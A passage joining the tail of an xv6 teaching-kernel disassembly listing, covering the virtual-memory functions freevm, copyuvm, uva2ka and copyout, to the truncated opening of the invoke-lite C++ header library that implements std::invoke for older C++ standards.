char *v = P2V(pa);
80108210: 8b 45 ec mov -0x14(%ebp),%eax
80108213: 05 00 00 00 80 add $0x80000000,%eax
80108218: 89 45 e8 mov %eax,-0x18(%ebp)
kfree(v);
8010821b: 8b 45 e8 mov -0x18(%ebp),%eax
8010821e: 89 04 24 mov %eax,(%esp)
80108221: e8 a7 a8 ff ff call 80102acd <kfree>
*pte = 0;
80108226: 8b 45 f0 mov -0x10(%ebp),%eax
80108229: c7 00 00 00 00 00 movl $0x0,(%eax)
if(newsz >= oldsz)
return oldsz;
a = PGROUNDUP(newsz);
for(; a < oldsz; a += PGSIZE){
8010822f: 81 45 f4 00 10 00 00 addl $0x1000,-0xc(%ebp)
80108236: 8b 45 f4 mov -0xc(%ebp),%eax
80108239: 3b 45 0c cmp 0xc(%ebp),%eax
8010823c: 0f 82 77 ff ff ff jb 801081b9 <deallocuvm+0x28>
char *v = P2V(pa);
kfree(v);
*pte = 0;
}
}
return newsz;
80108242: 8b 45 10 mov 0x10(%ebp),%eax
}
80108245: c9 leave
80108246: c3 ret
80108247 <freevm>:
// Free a page table and all the physical memory pages
// in the user part.
void
freevm(pde_t *pgdir)
{
80108247: 55 push %ebp
80108248: 89 e5 mov %esp,%ebp
8010824a: 83 ec 28 sub $0x28,%esp
uint i;
if(pgdir == 0)
8010824d: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
80108251: 75 0c jne 8010825f <freevm+0x18>
panic("freevm: no pgdir");
80108253: c7 04 24 eb 8b 10 80 movl $0x80108beb,(%esp)
8010825a: e8 f5 82 ff ff call 80100554 <panic>
deallocuvm(pgdir, KERNBASE, 0);
8010825f: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
80108266: 00
80108267: c7 44 24 04 00 00 00 movl $0x80000000,0x4(%esp)
8010826e: 80
8010826f: 8b 45 08 mov 0x8(%ebp),%eax
80108272: 89 04 24 mov %eax,(%esp)
80108275: e8 17 ff ff ff call 80108191 <deallocuvm>
for(i = 0; i < NPDENTRIES; i++){
8010827a: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
80108281: eb 44 jmp 801082c7 <freevm+0x80>
if(pgdir[i] & PTE_P){
80108283: 8b 45 f4 mov -0xc(%ebp),%eax
80108286: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
8010828d: 8b 45 08 mov 0x8(%ebp),%eax
80108290: 01 d0 add %edx,%eax
80108292: 8b 00 mov (%eax),%eax
80108294: 83 e0 01 and $0x1,%eax
80108297: 85 c0 test %eax,%eax
80108299: 74 29 je 801082c4 <freevm+0x7d>
char * v = P2V(PTE_ADDR(pgdir[i]));
8010829b: 8b 45 f4 mov -0xc(%ebp),%eax
8010829e: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
801082a5: 8b 45 08 mov 0x8(%ebp),%eax
801082a8: 01 d0 add %edx,%eax
801082aa: 8b 00 mov (%eax),%eax
801082ac: 25 00 f0 ff ff and $0xfffff000,%eax
801082b1: 05 00 00 00 80 add $0x80000000,%eax
801082b6: 89 45 f0 mov %eax,-0x10(%ebp)
kfree(v);
801082b9: 8b 45 f0 mov -0x10(%ebp),%eax
801082bc: 89 04 24 mov %eax,(%esp)
801082bf: e8 09 a8 ff ff call 80102acd <kfree>
uint i;
if(pgdir == 0)
panic("freevm: no pgdir");
deallocuvm(pgdir, KERNBASE, 0);
for(i = 0; i < NPDENTRIES; i++){
801082c4: ff 45 f4 incl -0xc(%ebp)
801082c7: 81 7d f4 ff 03 00 00 cmpl $0x3ff,-0xc(%ebp)
801082ce: 76 b3 jbe 80108283 <freevm+0x3c>
if(pgdir[i] & PTE_P){
char * v = P2V(PTE_ADDR(pgdir[i]));
kfree(v);
}
}
kfree((char*)pgdir);
801082d0: 8b 45 08 mov 0x8(%ebp),%eax
801082d3: 89 04 24 mov %eax,(%esp)
801082d6: e8 f2 a7 ff ff call 80102acd <kfree>
}
801082db: c9 leave
801082dc: c3 ret
801082dd <clearpteu>:
// Clear PTE_U on a page. Used to create an inaccessible
// page beneath the user stack.
void
clearpteu(pde_t *pgdir, char *uva)
{
801082dd: 55 push %ebp
801082de: 89 e5 mov %esp,%ebp
801082e0: 83 ec 28 sub $0x28,%esp
pte_t *pte;
pte = walkpgdir(pgdir, uva, 0);
801082e3: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
801082ea: 00
801082eb: 8b 45 0c mov 0xc(%ebp),%eax
801082ee: 89 44 24 04 mov %eax,0x4(%esp)
801082f2: 8b 45 08 mov 0x8(%ebp),%eax
801082f5: 89 04 24 mov %eax,(%esp)
801082f8: e8 b1 f8 ff ff call 80107bae <walkpgdir>
801082fd: 89 45 f4 mov %eax,-0xc(%ebp)
if(pte == 0)
80108300: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80108304: 75 0c jne 80108312 <clearpteu+0x35>
panic("clearpteu");
80108306: c7 04 24 fc 8b 10 80 movl $0x80108bfc,(%esp)
8010830d: e8 42 82 ff ff call 80100554 <panic>
*pte &= ~PTE_U;
80108312: 8b 45 f4 mov -0xc(%ebp),%eax
80108315: 8b 00 mov (%eax),%eax
80108317: 83 e0 fb and $0xfffffffb,%eax
8010831a: 89 c2 mov %eax,%edx
8010831c: 8b 45 f4 mov -0xc(%ebp),%eax
8010831f: 89 10 mov %edx,(%eax)
}
80108321: c9 leave
80108322: c3 ret
80108323 <copyuvm>:
// Given a parent process's page table, create a copy
// of it for a child.
pde_t*
copyuvm(pde_t *pgdir, uint sz)
{
80108323: 55 push %ebp
80108324: 89 e5 mov %esp,%ebp
80108326: 83 ec 48 sub $0x48,%esp
pde_t *d;
pte_t *pte;
uint pa, i, flags;
char *mem;
if((d = setupkvm()) == 0)
80108329: e8 b2 f9 ff ff call 80107ce0 <setupkvm>
8010832e: 89 45 f0 mov %eax,-0x10(%ebp)
80108331: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
80108335: 75 0a jne 80108341 <copyuvm+0x1e>
return 0;
80108337: b8 00 00 00 00 mov $0x0,%eax
8010833c: e9 f8 00 00 00 jmp 80108439 <copyuvm+0x116>
for(i = 0; i < sz; i += PGSIZE){
80108341: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
80108348: e9 cb 00 00 00 jmp 80108418 <copyuvm+0xf5>
if((pte = walkpgdir(pgdir, (void *) i, 0)) == 0)
8010834d: 8b 45 f4 mov -0xc(%ebp),%eax
80108350: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
80108357: 00
80108358: 89 44 24 04 mov %eax,0x4(%esp)
8010835c: 8b 45 08 mov 0x8(%ebp),%eax
8010835f: 89 04 24 mov %eax,(%esp)
80108362: e8 47 f8 ff ff call 80107bae <walkpgdir>
80108367: 89 45 ec mov %eax,-0x14(%ebp)
8010836a: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
8010836e: 75 0c jne 8010837c <copyuvm+0x59>
panic("copyuvm: pte should exist");
80108370: c7 04 24 06 8c 10 80 movl $0x80108c06,(%esp)
80108377: e8 d8 81 ff ff call 80100554 <panic>
if(!(*pte & PTE_P))
8010837c: 8b 45 ec mov -0x14(%ebp),%eax
8010837f: 8b 00 mov (%eax),%eax
80108381: 83 e0 01 and $0x1,%eax
80108384: 85 c0 test %eax,%eax
80108386: 75 0c jne 80108394 <copyuvm+0x71>
panic("copyuvm: page not present");
80108388: c7 04 24 20 8c 10 80 movl $0x80108c20,(%esp)
8010838f: e8 c0 81 ff ff call 80100554 <panic>
pa = PTE_ADDR(*pte);
80108394: 8b 45 ec mov -0x14(%ebp),%eax
80108397: 8b 00 mov (%eax),%eax
80108399: 25 00 f0 ff ff and $0xfffff000,%eax
8010839e: 89 45 e8 mov %eax,-0x18(%ebp)
flags = PTE_FLAGS(*pte);
801083a1: 8b 45 ec mov -0x14(%ebp),%eax
801083a4: 8b 00 mov (%eax),%eax
801083a6: 25 ff 0f 00 00 and $0xfff,%eax
801083ab: 89 45 e4 mov %eax,-0x1c(%ebp)
if((mem = kalloc()) == 0)
801083ae: e8 b0 a7 ff ff call 80102b63 <kalloc>
801083b3: 89 45 e0 mov %eax,-0x20(%ebp)
801083b6: 83 7d e0 00 cmpl $0x0,-0x20(%ebp)
801083ba: 75 02 jne 801083be <copyuvm+0x9b>
goto bad;
801083bc: eb 6b jmp 80108429 <copyuvm+0x106>
memmove(mem, (char*)P2V(pa), PGSIZE);
801083be: 8b 45 e8 mov -0x18(%ebp),%eax
801083c1: 05 00 00 00 80 add $0x80000000,%eax
801083c6: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
801083cd: 00
801083ce: 89 44 24 04 mov %eax,0x4(%esp)
801083d2: 8b 45 e0 mov -0x20(%ebp),%eax
801083d5: 89 04 24 mov %eax,(%esp)
801083d8: e8 76 ce ff ff call 80105253 <memmove>
if(mappages(d, (void*)i, PGSIZE, V2P(mem), flags) < 0)
801083dd: 8b 55 e4 mov -0x1c(%ebp),%edx
801083e0: 8b 45 e0 mov -0x20(%ebp),%eax
801083e3: 8d 88 00 00 00 80 lea -0x80000000(%eax),%ecx
801083e9: 8b 45 f4 mov -0xc(%ebp),%eax
801083ec: 89 54 24 10 mov %edx,0x10(%esp)
801083f0: 89 4c 24 0c mov %ecx,0xc(%esp)
801083f4: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
801083fb: 00
801083fc: 89 44 24 04 mov %eax,0x4(%esp)
80108400: 8b 45 f0 mov -0x10(%ebp),%eax
80108403: 89 04 24 mov %eax,(%esp)
80108406: e8 3f f8 ff ff call 80107c4a <mappages>
8010840b: 85 c0 test %eax,%eax
8010840d: 79 02 jns 80108411 <copyuvm+0xee>
goto bad;
8010840f: eb 18 jmp 80108429 <copyuvm+0x106>
uint pa, i, flags;
char *mem;
if((d = setupkvm()) == 0)
return 0;
for(i = 0; i < sz; i += PGSIZE){
80108411: 81 45 f4 00 10 00 00 addl $0x1000,-0xc(%ebp)
80108418: 8b 45 f4 mov -0xc(%ebp),%eax
8010841b: 3b 45 0c cmp 0xc(%ebp),%eax
8010841e: 0f 82 29 ff ff ff jb 8010834d <copyuvm+0x2a>
goto bad;
memmove(mem, (char*)P2V(pa), PGSIZE);
if(mappages(d, (void*)i, PGSIZE, V2P(mem), flags) < 0)
goto bad;
}
return d;
80108424: 8b 45 f0 mov -0x10(%ebp),%eax
80108427: eb 10 jmp 80108439 <copyuvm+0x116>
bad:
freevm(d);
80108429: 8b 45 f0 mov -0x10(%ebp),%eax
8010842c: 89 04 24 mov %eax,(%esp)
8010842f: e8 13 fe ff ff call 80108247 <freevm>
return 0;
80108434: b8 00 00 00 00 mov $0x0,%eax
}
80108439: c9 leave
8010843a: c3 ret
8010843b <uva2ka>:
//PAGEBREAK!
// Map user virtual address to kernel address.
char*
uva2ka(pde_t *pgdir, char *uva)
{
8010843b: 55 push %ebp
8010843c: 89 e5 mov %esp,%ebp
8010843e: 83 ec 28 sub $0x28,%esp
pte_t *pte;
pte = walkpgdir(pgdir, uva, 0);
80108441: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
80108448: 00
80108449: 8b 45 0c mov 0xc(%ebp),%eax
8010844c: 89 44 24 04 mov %eax,0x4(%esp)
80108450: 8b 45 08 mov 0x8(%ebp),%eax
80108453: 89 04 24 mov %eax,(%esp)
80108456: e8 53 f7 ff ff call 80107bae <walkpgdir>
8010845b: 89 45 f4 mov %eax,-0xc(%ebp)
if((*pte & PTE_P) == 0)
8010845e: 8b 45 f4 mov -0xc(%ebp),%eax
80108461: 8b 00 mov (%eax),%eax
80108463: 83 e0 01 and $0x1,%eax
80108466: 85 c0 test %eax,%eax
80108468: 75 07 jne 80108471 <uva2ka+0x36>
return 0;
8010846a: b8 00 00 00 00 mov $0x0,%eax
8010846f: eb 22 jmp 80108493 <uva2ka+0x58>
if((*pte & PTE_U) == 0)
80108471: 8b 45 f4 mov -0xc(%ebp),%eax
80108474: 8b 00 mov (%eax),%eax
80108476: 83 e0 04 and $0x4,%eax
80108479: 85 c0 test %eax,%eax
8010847b: 75 07 jne 80108484 <uva2ka+0x49>
return 0;
8010847d: b8 00 00 00 00 mov $0x0,%eax
80108482: eb 0f jmp 80108493 <uva2ka+0x58>
return (char*)P2V(PTE_ADDR(*pte));
80108484: 8b 45 f4 mov -0xc(%ebp),%eax
80108487: 8b 00 mov (%eax),%eax
80108489: 25 00 f0 ff ff and $0xfffff000,%eax
8010848e: 05 00 00 00 80 add $0x80000000,%eax
}
80108493: c9 leave
80108494: c3 ret
80108495 <copyout>:
// Copy len bytes from p to user address va in page table pgdir.
// Most useful when pgdir is not the current page table.
// uva2ka ensures this only works for PTE_U pages.
int
copyout(pde_t *pgdir, uint va, void *p, uint len)
{
80108495: 55 push %ebp
80108496: 89 e5 mov %esp,%ebp
80108498: 83 ec 28 sub $0x28,%esp
char *buf, *pa0;
uint n, va0;
buf = (char*)p;
8010849b: 8b 45 10 mov 0x10(%ebp),%eax
8010849e: 89 45 f4 mov %eax,-0xc(%ebp)
while(len > 0){
801084a1: e9 87 00 00 00 jmp 8010852d <copyout+0x98>
va0 = (uint)PGROUNDDOWN(va);
801084a6: 8b 45 0c mov 0xc(%ebp),%eax
801084a9: 25 00 f0 ff ff and $0xfffff000,%eax
801084ae: 89 45 ec mov %eax,-0x14(%ebp)
pa0 = uva2ka(pgdir, (char*)va0);
801084b1: 8b 45 ec mov -0x14(%ebp),%eax
801084b4: 89 44 24 04 mov %eax,0x4(%esp)
801084b8: 8b 45 08 mov 0x8(%ebp),%eax
801084bb: 89 04 24 mov %eax,(%esp)
801084be: e8 78 ff ff ff call 8010843b <uva2ka>
801084c3: 89 45 e8 mov %eax,-0x18(%ebp)
if(pa0 == 0)
801084c6: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
801084ca: 75 07 jne 801084d3 <copyout+0x3e>
return -1;
801084cc: b8 ff ff ff ff mov $0xffffffff,%eax
801084d1: eb 69 jmp 8010853c <copyout+0xa7>
n = PGSIZE - (va - va0);
801084d3: 8b 45 0c mov 0xc(%ebp),%eax
801084d6: 8b 55 ec mov -0x14(%ebp),%edx
801084d9: 29 c2 sub %eax,%edx
801084db: 89 d0 mov %edx,%eax
801084dd: 05 00 10 00 00 add $0x1000,%eax
801084e2: 89 45 f0 mov %eax,-0x10(%ebp)
if(n > len)
801084e5: 8b 45 f0 mov -0x10(%ebp),%eax
801084e8: 3b 45 14 cmp 0x14(%ebp),%eax
801084eb: 76 06 jbe 801084f3 <copyout+0x5e>
n = len;
801084ed: 8b 45 14 mov 0x14(%ebp),%eax
801084f0: 89 45 f0 mov %eax,-0x10(%ebp)
memmove(pa0 + (va - va0), buf, n);
801084f3: 8b 45 ec mov -0x14(%ebp),%eax
801084f6: 8b 55 0c mov 0xc(%ebp),%edx
801084f9: 29 c2 sub %eax,%edx
801084fb: 8b 45 e8 mov -0x18(%ebp),%eax
801084fe: 01 c2 add %eax,%edx
80108500: 8b 45 f0 mov -0x10(%ebp),%eax
80108503: 89 44 24 08 mov %eax,0x8(%esp)
80108507: 8b 45 f4 mov -0xc(%ebp),%eax
8010850a: 89 44 24 04 mov %eax,0x4(%esp)
8010850e: 89 14 24 mov %edx,(%esp)
80108511: e8 3d cd ff ff call 80105253 <memmove>
len -= n;
80108516: 8b 45 f0 mov -0x10(%ebp),%eax
80108519: 29 45 14 sub %eax,0x14(%ebp)
buf += n;
8010851c: 8b 45 f0 mov -0x10(%ebp),%eax
8010851f: 01 45 f4 add %eax,-0xc(%ebp)
va = va0 + PGSIZE;
80108522: 8b 45 ec mov -0x14(%ebp),%eax
80108525: 05 00 10 00 00 add $0x1000,%eax
8010852a: 89 45 0c mov %eax,0xc(%ebp)
{
char *buf, *pa0;
uint n, va0;
buf = (char*)p;
while(len > 0){
8010852d: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
80108531: 0f 85 6f ff ff ff jne 801084a6 <copyout+0x11>
memmove(pa0 + (va - va0), buf, n);
len -= n;
buf += n;
va = va0 + PGSIZE;
}
return 0;
80108537: b8 00 00 00 00 mov $0x0,%eax
}
8010853c: c9 leave
8010853d: c3 ret
|
//
// Copyright (c) 2017-2021 Martin Moene
//
// https://github.com/martinmoene/invoke-lite
//
// Distributed under the Boost Software License, Version 1.0.
// (See accompanying file LICENSE.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
#ifndef NONSTD_INVOKE_LITE_HPP
#define NONSTD_INVOKE_LITE_HPP
#define invoke_lite_MAJOR 0
#define invoke_lite_MINOR 0
#define invoke_lite_PATCH 0
#define invoke_lite_VERSION invoke_STRINGIFY(invoke_lite_MAJOR) "." invoke_STRINGIFY(invoke_lite_MINOR) "." invoke_STRINGIFY(invoke_lite_PATCH)
#define invoke_STRINGIFY( x ) invoke_STRINGIFY_( x )
#define invoke_STRINGIFY_( x ) #x
// invoke-lite configuration:
#define invoke_INVOKE_DEFAULT 0
#define invoke_INVOKE_NONSTD 1
#define invoke_INVOKE_STD 2
// tweak header support:
#ifdef __has_include
# if __has_include(<nonstd/invoke.tweak.hpp>)
# include <nonstd/invoke.tweak.hpp>
# endif
#define invoke_HAVE_TWEAK_HEADER 1
#else
#define invoke_HAVE_TWEAK_HEADER 0
//# pragma message("invoke.hpp: Note: Tweak header not supported.")
#endif
// invoke selection and configuration:
#ifndef invoke_CONFIG_SELECT_INVOKE
# define invoke_CONFIG_SELECT_INVOKE invoke_INVOKE_DEFAULT
#endif
// Control presence of exception handling (try and auto discover):
#ifndef invoke_CONFIG_NO_EXCEPTIONS
# if defined(_MSC_VER)
# include <cstddef> // for _HAS_EXCEPTIONS
# endif
# if defined(__cpp_exceptions) || defined(__EXCEPTIONS) || (_HAS_EXCEPTIONS)
# define invoke_CONFIG_NO_EXCEPTIONS 0
# else
# define invoke_CONFIG_NO_EXCEPTIONS 1
# endif
#endif
// C++ language version detection (C++20 is speculative):
// Note: VC14.0/1900 (VS2015) lacks too much from C++14.
#ifndef invoke_CPLUSPLUS
# if defined(_MSVC_LANG ) && !defined(__clang__)
# define invoke_CPLUSPLUS (_MSC_VER == 1900 ? 201103L : _MSVC_LANG )
# else
# define invoke_CPLUSPLUS __cplusplus
# endif
#endif
#define invoke_CPP98_OR_GREATER ( invoke_CPLUSPLUS >= 199711L )
#define invoke_CPP11_OR_GREATER ( invoke_CPLUSPLUS >= 201103L )
#define invoke_CPP14_OR_GREATER ( invoke_CPLUSPLUS >= 201402L )
#define invoke_CPP17_OR_GREATER ( invoke_CPLUSPLUS >= 201703L )
#define invoke_CPP20_OR_GREATER ( invoke_CPLUSPLUS >= 202000L )
// Use C++17 std::invoke if available and requested:
#if invoke_CPP17_OR_GREATER
# define invoke_HAVE_STD_INVOKE 1
#else
# define invoke_HAVE_STD_INVOKE 0
#endif
#define invoke_USES_STD_INVOKE ( (invoke_CONFIG_SELECT_INVOKE == invoke_INVOKE_STD) || ((invoke_CONFIG_SELECT_INVOKE == invoke_INVOKE_DEFAULT) && invoke_HAVE_STD_INVOKE) )
// Allow for #pragma message variation:
#ifdef _MSC_VER
# define invoke_lpar (
# define invoke_rpar )
#else
# define invoke_lpar
# define invoke_rpar
#endif
//
// Use standard C++17 version:
//
#if invoke_USES_STD_INVOKE
#pragma message invoke_lpar "*** Using std::invoke" invoke_rpar
#include <functional>
namespace nonstd {
using std::invoke;
}
#else // invoke_USES_STD_INVOKE
#pragma message invoke_lpar "*** Using nonstd::invoke - C++98/C++11" invoke_rpar
//
// C++11, code taken from http://en.cppreference.com/w/cpp/types/result_of:
//
// Compiler versions:
//
// MSVC++ 6.0 _MSC_VER == 1200 invoke_COMPILER_MSVC_VERSION == 60 (Visual Studio 6.0)
// MSVC++ 7.0 _MSC_VER == 1300 invoke_COMPILER_MSVC_VERSION == 70 (Visual Studio .NET 2002)
// MSVC++ 7.1 _MSC_VER == 1310 invoke_COMPILER_MSVC_VERSION == 71 (Visual Studio .NET 2003)
// MSVC++ 8.0 _MSC_VER == 1400 invoke_COMPILER_MSVC_VERSION == 80 (Visual Studio 2005)
// MSVC++ 9.0 _MSC_VER == 1500 invoke_COMPILER_MSVC_VERSION == 90 (Visual Studio 2008)
// MSVC++ 10.0 _MSC_VER == 1600 invoke_COMPILER_MSVC_VERSION == 100 (Visual Studio 2010)
// MSVC++ 11.0 _MSC_VER == 1700 invoke_COMPILER_MSVC_VERSION == 110 (Visual Studio 2012)
// MSVC++ 12.0 _MSC_VER == 1800 invoke_COMPILER_MSVC_VERSION == 120 (Visual Studio 2013)
// MSVC++ 14.0 _MSC_VER == 1900 invoke_COMPILER_MSVC_VERSION == 140 (Visual Studio 2015)
// MSVC++ 14.1 _MSC_VER >= 1910 invoke_COMPILER_MSVC_VERSION == 141 (Visual Studio 2017)
// MSVC++ 14.2 _MSC_VER >= 1920 invoke_COMPILER_MSVC_VERSION == 142 (Visual Studio 2019)
#if defined(_MSC_VER ) && !defined(__clang__)
# define invoke_COMPILER_MSVC_VER (_MSC_VER )
# define invoke_COMPILER_MSVC_VERSION (_MSC_VER / 10 - 10 * ( 5 + (_MSC_VER < 1900 ) ) )
#else
# define invoke_COMPILER_MSVC_VER 0
# define invoke_COMPILER_MSVC_VERSION 0
#endif
#define invoke_COMPILER_VERSION( major, minor, patch ) ( 10 * ( 10 * (major) + (minor) ) + (patch) )
#if defined(__clang__)
# define invoke_COMPILER_CLANG_VERSION invoke_COMPILER_VERSION(__clang_major__, __clang_minor__, __clang_patchlevel__)
#else
# define invoke_COMPILER_CLANG_VERSION 0
#endif
#if defined(__GNUC__) && !defined(__clang__)
# define invoke_COMPILER_GNUC_VERSION invoke_COMPILER_VERSION(__GNUC__, __GNUC_MINOR__, __GNUC_PATCHLEVEL__)
#else
# define invoke_COMPILER_GNUC_VERSION 0
#endif
// half-open range [lo..hi):
#define invoke_BETWEEN( v, lo, hi ) ( (lo) <= (v) && (v) < (hi) )
// Presence of language and library features:
#define invoke_HAVE( feature ) ( invoke_HAVE_##feature )
#ifdef _HAS_CPP0X
# define invoke_HAS_CPP0X _HAS_CPP0X
#else
# define invoke_HAS_CPP0X 0
#endif
#define invoke_CPP11_90 (invoke_CPP11_OR_GREATER || invoke_COMPILER_MSVC_VER >= 1500)
#define invoke_CPP11_100 (invoke_CPP11_OR_GREATER || invoke_COMPILER_MSVC_VER >= 1600)
#define invoke_CPP11_120 (invoke_CPP11_OR_GREATER || invoke_COMPILER_MSVC_VER >= 1800)
#define invoke_CPP11_140 (invoke_CPP11_OR_GREATER || invoke_COMPILER_MSVC_VER >= 1900)
#define invoke_CPP11_000 (invoke_CPP11_OR_GREATER)
#define invoke_CPP14_000 (invoke_CPP14_OR_GREATER)
#define invoke_CPP17_000 (invoke_CPP17_OR_GREATER)
#define invoke_CPP20_000 (invoke_CPP20_OR_GREATER)
// Presence of C++11 language features:
#define invoke_HAVE_CONSTEXPR_11 invoke_CPP11_140
#define invoke_HAVE_NOEXCEPT invoke_CPP11_140
#define invoke_HAVE_TYPE_TRAITS invoke_CPP11_90
#define invoke_HAVE_TR1_TYPE_TRAITS (!! invoke_COMPILER_GNUC_VERSION )
// Presence of C++14 language features:
#define invoke_HAVE_CONSTEXPR_14 invoke_CPP14_000
// Presence of C++17 language features:
#define invoke_HAVE_NODISCARD invoke_CPP17_000
// Presence of C++ language features:
#if invoke_HAVE_CONSTEXPR_11
# define invoke_constexpr constexpr
#else
# define invoke_constexpr /*constexpr*/
#endif
#if invoke_HAVE_CONSTEXPR_14
# define invoke_constexpr14 constexpr
#else
# define invoke_constexpr14 /*constexpr*/
#endif
#if invoke_HAVE_NOEXCEPT && !invoke_CONFIG_NO_EXCEPTIONS
# define invoke_noexcept noexcept
# define invoke_noexcept_op(expr) noexcept(expr)
#else
# define invoke_noexcept /*noexcept*/
# define invoke_noexcept_op(expr) /*noexcept(expr)*/
#endif
#if invoke_HAVE_NODISCARD
# define invoke_nodiscard [[nodiscard]]
#else
# define invoke_nodiscard /*[[nodiscard]]*/
#endif
// additional includes:
#if invoke_CONFIG_NO_EXCEPTIONS
# include <cassert>
#else
# include <typeinfo>
#endif
#if invoke_HAVE_TYPE_TRAITS
# include <type_traits>
#elif invoke_HAVE_TR1_TYPE_TRAITS
# include <tr1/type_traits>
#endif
#include <functional> // std::mem_fn()
#include <utility> // std::forward()
#if invoke_CPP11_OR_GREATER
#pragma message invoke_lpar "*** Using nonstd::invoke - C++11" invoke_rpar
namespace nonstd { namespace invoke_lite {
namespace std17 {
#if invoke_CPP17_000
using std::invoke_result;
#else
template< class F, class... Args>
class invoke_result : public std::result_of<F&&( Args&&...)> {};
#endif
} // namespace std17
namespace std20 {
// Note: std::mem_fn is constexpr since C++20
#if invoke_CPP20_000
using std::mem_fn;
#else
template< class R, class C >
struct mem_fn_fun
{
typedef R C::*F;
F f;
explicit constexpr mem_fn_fun( F f_ )
: f( f_)
{}
template<class... Args>
constexpr
typename std17::invoke_result<decltype(f), C, Args...>::type
operator()( C & c, Args&&... args ) const
#if invoke_CPP17_000
noexcept( std::is_nothrow_invocable_v<decltype(f), Args&&...> )
#endif
{
return (c.*f)( std::forward<Args>(args)...);
}
template<class... Args>
constexpr
typename std17::invoke_result<decltype(f), C, Args...>::type
operator()( C const & c, Args&&... args ) const
#if invoke_CPP17_000
noexcept( std::is_nothrow_invocable_v<decltype(f), Args&&...> )
#endif
{
return (c.*f)( std::forward<Args>(args)...);
}
};
template< class T, class C >
struct mem_fn_obj
{
typedef T C::*D;
D d;
explicit constexpr mem_fn_obj( D d_ )
: d( d_)
{}
constexpr
T & operator()( C & c ) const noexcept
{
return c.*d;
}
constexpr
T const & operator()( C const & c ) const noexcept
{
return c.*d;
}
constexpr
T & operator()( C * c ) const noexcept
{
return c->*d;
}
constexpr
T const & operator()( C const * c ) const noexcept
{
return c->*d;
}
};
template< class R, class C >
constexpr
auto mem_fn( R C::*m ) noexcept
-> typename std::enable_if<
std::is_member_function_pointer<R C::*>::value
, mem_fn_fun<R, C> >::type
{
return mem_fn_fun<R, C>( m );
}
template< class R, class C >
constexpr
auto mem_fn( R C::*m ) noexcept
-> typename std::enable_if<
std::is_member_object_pointer<R C::*>::value
, mem_fn_obj<R, C> >::type
{
return mem_fn_obj<R, C>( m );
}
#endif // invoke_CPP20_000
} // namespace std20
namespace detail {
// C++11 implementation contributed by Peter Featherstone, @pfeatherstone
template< typename F, typename ... Args >
constexpr
auto INVOKE( F&& fn, Args&& ... args )
-> typename std::enable_if<
std::is_member_pointer<typename std::decay<F>::type>::value
, decltype( std20::mem_fn(fn)( std::forward<Args>(args)...) ) >::type
{
return std20::mem_fn( fn )( std::forward<Args>(args)...);
}
template< typename F, typename ... Args >
constexpr
auto INVOKE( F&& fn, Args&& ... args )
-> typename std::enable_if<
! std::is_member_pointer<typename std::decay<F>::type>::value
, decltype( std::forward<F>(fn)( std::forward<Args>(args)...) ) >::type
{
return std::forward<F>( fn )( std::forward<Args>(args)...);
}
// conforming C++14 implementation (is also a valid C++11 implementation):
template< typename AlwaysVoid, typename, typename...>
struct invoke_result {};
template< typename F, typename... Args >
struct invoke_result< decltype( void(detail::INVOKE(std::declval<F>(), std::declval<Args>()...)) ), F, Args...>
{
using type = decltype( detail::INVOKE(std::declval<F>(), std::declval<Args>()...) );
};
//template< typename Fn, typename... ArgTypes >
//struct is_nothrow_invocable : std::false_type{};;
} // namespace detail
// template< typename > struct result_of;
// template< typename F, typename... ArgTypes >
// struct result_of< F(ArgTypes...) > : detail::invoke_result< void, F, ArgTypes...> {};
template< typename F, typename... ArgTypes >
struct invoke_result : detail::invoke_result< void, F, ArgTypes...> {};
template< typename F, typename... Args >
constexpr
typename invoke_result< F, Args...>::type
invoke( F && f, Args &&... args )
// noexcept( detail::is_nothrow_invocable<F, Args...>::value )
{
return detail::INVOKE( std::forward<F>( f ), std::forward<Args>( args )...);
}
}} // namespace nonstd::invoke_lite
namespace nonstd {
using invoke_lite::invoke;
} // // namespace
#else // not C++17, not C++11 - invoke()
#pragma message invoke_lpar "*** Using nonstd::invoke - C++98" invoke_rpar
//
// C++98, code based on proposal n1454.
//
// N1454. A uniform method for computing function object return types (revision 1),
// by Douglas Gregor, http://wg21.link/n1454
namespace nonstd {
namespace std98 {
// type traits:
template< typename T, T v >
struct integral_constant
{
typedef integral_constant< T, v > type;
typedef T value_type;
static const T value = v;
};
typedef integral_constant< bool, true > true_type;
typedef integral_constant< bool, false > false_type;
//template< typename T > struct remove_reference { typedef T type; };
//template< typename T > struct remove_reference<T&> { typedef T type; };
////template< typename T > struct remove_reference<T&&> {typedef T type;};
//
//template< typename T > struct add_lvalue_reference { typedef T& type; };
//template< typename T > struct add_lvalue_reference<T&> { typedef T& type; };
template< typename T > struct remove_const { typedef T type; };
template< typename T > struct remove_const<const T> { typedef T type; };
template< typename T > struct remove_volatile { typedef T type; };
template< typename T > struct remove_volatile<volatile T> { typedef T type; };
template< typename T > struct remove_cv { typedef typename remove_volatile<typename remove_const<T>::type>::type type; };
template< typename T > struct is_const : false_type {};
template< typename T > struct is_const<const T> : true_type {};
template< typename T > struct is_pointer_helper : false_type {};
template< typename T > struct is_pointer_helper<T*> : true_type {};
template< typename T > struct is_pointer : is_pointer_helper<typename remove_cv<T>::type> {};
template< typename T > struct is_member_pointer_helper : false_type {};
template< typename T , typename U > struct is_member_pointer_helper<T U::*> : true_type {};
template< typename T > struct is_member_pointer : is_member_pointer_helper<typename remove_cv<T>::type> {};
template< bool B, typename T = void > struct enable_if {};
template< typename T > struct enable_if< true, T > { typedef T type; };
// result type deduction:
namespace detail {
template< typename F >
struct forwardN;
} // namespace detail
template< typename F >
struct result_of;
template< typename F >
struct result_of<F()> { typedef typename detail::forwardN<F>::template result<F>::type type; };
template< typename F, typename T1 >
